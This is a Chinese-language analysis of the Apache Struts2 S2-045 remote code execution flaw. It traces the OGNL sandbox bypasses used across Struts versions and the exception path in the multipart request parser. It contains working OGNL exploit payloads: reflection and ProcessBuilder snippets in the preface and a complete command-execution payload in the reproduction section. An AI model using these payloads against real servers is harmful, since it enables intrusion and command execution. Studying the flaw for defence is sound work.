01
前言
果然一个人看还是会遗漏很多东西,也是在看 payload 的时候卡壳了,所以自己在往回捯。那么就在前言中完善一下前面可能没有顾及到的内容:关于 struts 的版本升级及 payload 变化。
1、
struts 2.3.14.1 与 struts 2.3.14.2 对比
allowStaticMethodAccess 加了 final ;
去掉了 setAllowStaticMethodAccess 方法
所以在 struts 2.3.14.1 之前(包含 struts 2.3.14.1),我们 payload 中可以使用 #_memberAccess["allowStaticMethodAccess"]=true 来对参数 allowStaticMethodAccess 值进行更改。以 S2-009 举例说明(链接)
在 ognl.ASTVarRef#getValueBody 中获取 _memberAccess ( payload 中输入的)
进到 ognl.OgnlContext#get ,返回 SecurityMemberAccess 实例。
最终通过 setAllowStaticMethodAccess 来改变其值。
在 struts 2.3.14.1 之后 struts 2.3.20 之前,我们可以通过两种方式来绕过其设置(属性值加 final ;去掉 set 方法):
如 Struts2 系列漏洞 - S2-015 、 Struts2 系列漏洞 - S2-016 中:利用反射将 allowStaticMethodAccess 的值改变
`#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")``#f.setAccessible(true)``#f.set(#_memberAccess,true)`
如 Struts2 系列漏洞 - S2-012 中:直接通过创建 ProcessBuilder 对象的 start 方法来执行命令,因为 _memberAccess 中并没有阻止 public 方法及构造方法的调用。
`#p=new java.lang.ProcessBuilder('calc')``#p.start()`
然而这两种方法都在 struts 2.3.20 终止。
2、
struts 2.3.16.3 与 struts 2.3.20 对比
链接:
https://github.com/apache/struts/compare/STRUTS\_2\_3\_16\_3...STRUTS\_2\_3\_20
增加了 excludedClasses , excludedPackageNames 以及 excludedPackageNamePatterns 的黑名单。其中 excludedClasses 中增加了 java.lang.ClassLoader 的黑名单,这使得通过 new 方法创建 ProcessBuilder 实例的方式不再可用。
而 _memberAccess 仍是可访问的,在 S2-032 中使用 #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 来覆盖之前默认的 SecurityMemberAccess 。而 DefaultMemberAccess 允许静态方法及构造方法的执行。具体的分析见 Struts2 系列漏洞 - S2-032 。
3、
在 struts 2.3.30 之后以及 struts 2.5.2 之后
1. 不能直接通过 RESERVED_KEYS Map 中 _memberAccess 获取到 MemberAccess 类了;(我看参考资料中就写的一句 Finally, _memberAccess is gone, so none of these simple tricks work any more. 这个地方绕了蛮久,因为我发现第二点那几个类放黑名单的操作从 struts 2.3.29 开始就已经放了,而网上其他分析文章也没有提到这点。)
2. 将 ognl.DefaultMemberAccess 、 java.lang.ProcessBuilder 以及 com.opensymphony.xwork2.ognl.SecurityMemberAccess 都放在了黑名单中。
那么可以怎么做呢,可以一起看看 S2-045 中 payload 的绕过方式。
02
概述
这个漏洞是出现在 struts2 对 HttpServletRequest 进行装饰时,(为什么要进行装饰?因为 struts2 中数据存储是以 ActionContext 的形式存在于当前线程中,传统的访问方式无法顺利访问到数据)根据 request 的 content type 的不同,区分不同的装饰类型。而对于 MIME 类型为 multipart/form-data 的 POST 请求包会去容器中寻找 MultiPartRequest 的实现类。而 struts2 中默认的解析器为 jakarta 。
也即是对应 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 实现类。
在这个实现类中对于非预期的 content type 会抛出一个异常,而在异常的处理过程中,会将 content type 错误信息代入进行 ognl 解析。
官方链接:
https://cwiki.apache.org/confluence/display/WW/S2-045
影响版本:
Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
03
复现
环境:
apache-tomcat-6.0.10 、 jdk1.8.0_261 、 struts 2.5.10
能正常启动程序即可,无特殊配置。
payload:
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
04
分析
首先看在 Struts 2.3.31 下:
连着概述的说,在 PrepareOperations 的 wrapRequest 中完成 struts2 对 HttpServletRequest 的装饰。
转发到 org.apache.struts2.dispatcher.Dispatcher#wrapRequest(HttpServletRequest),判断了 content type 中是否包含了 multipart/form-data ,如果包含了就去找 MultiPartRequest 实例。(这里是 JakartaMultiPartRequest )
跟进 626 行,进入 org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper#MultiPartRequestWrapper
跟进,来到org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest#parse
解析出错捕获到异常,跟进 76 行 buildErrorMessage ,其中 var6 也就是异常信息中的 detailMessage 中包含了我们输入的错误的 content-type 。
跟进 com.opensymphony.xwork2.util.LocalizedTextUtil#findText
跟进 332 行,见到了老朋友。至此。
再来看一下 struts 2.5.10 下:(切换成这个版本,记得在 web.xml 下 filter-class 标签中将入口程序改为高版本中的 org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter)
前面都和低版本一样(除了入口程序不同),到了 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest#parse 解析出错时调用的是 org.apache.struts2.dispatcher.multipart.AbstractMultiPartRequest#buildErrorMessage
这里不会跟进到 LocalizedTextUtil#findText 而是初始化了 LocalizedMessage 。最终触发是在执行拦截器链时,具体在:org.apache.struts2.interceptor.FileUploadInterceptor#intercept 中。后面就也一样了,至此。
接下来,我们看一下 payload 的构建,重点看这一段:
`(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).``(#_memberAccess?(#_memberAccess=#dm):(` `(#container=#context['com.opensymphony.xwork2.ActionContext.container']).` `(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).` `(#ognlUtil.getExcludedPackageNames().clear()).` `(#ognlUtil.getExcludedClasses().clear()).` `(#context.setMemberAccess(#dm))` `)``)`
前言中有提到在 struts 2.3.30 之后以及 struts 2.5.2 之后的变化, S2-045 影响版本不止之后的 struts 版本,所以对于前面版本还是可以通过 _memberAccess 访问到 MemberAccess 的。所以 payload 中有一个三目运算符。三目运算符 冒号 后面的内容才是在高版本中绕过限制的关键代码,重点看这一段。
这里并没有通过其他方式获取 _memberAccess ,而是通过获得 OgnlUtil 的实例将 ExcludedPackageNames 和 ExcludedClasses 清空从而影响 SecurityMemberAccess 中的属性。为什么可以这样呢?我们可以看一下 _memberAccess 是如何初始化的。( Struts2 系列漏洞 - S2-032 中讲了默认返回 SecurityMemberAccess 所以也可以说 SecurityMemberAccess 如何初始化的)
当一个请求进来时,由 PrepareOperations 的 createActionContext 来初始化其 ActionContext 。最终会调用 OgnlValueStack 的 setOgnlUtil 方法。
【 OgnlUtil 是使用单例模式实现的,所以他的实例是全局共享的,同样去获取其实例时,也是返回现有的全局 OgnlUtil 实例。】
在 setOgnlUtil 中,用 ognlUtil 对象初始化 OgnlValueStack 的 securityMemberAccess 。所以其实 OgnlUtil 与 SecurityMemberAccess 共享 ExcludedPackageNamePatterns 、 ExcludedPackageNames 和 ExcludedClasses 参数。
所以其实 payload 中就是 ognlUtil.getExcludedClasses() 返回 HashSet 集合,使用其 clear 方法清空。
具体串起来就是首先从 context 中获得 container 容器。
在 container 容器中依赖注入了 OgnlUtil ,使用 getInstance 获得现有的 OgnlUtil 实例。
接下来 ognlUtil.getExcludedPackageNames().clear() 、 ognlUtil.getExcludedClasses().clear()清空 ExcludedPackageNames 和 ExcludedClasses 参数,因为清空了,所以我们这时候可以重新将 context 中的 _memberAccess 设置成 DefaultMemberAccess 。接下来就是代码执行并回显的部分了。
05
修复
如果匹配不到具体的异常信息不再将 content type 内容代入异常处理过程中。
struts 2.3.32 :
struts 2.5.10.1 :
参考链接 :
https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776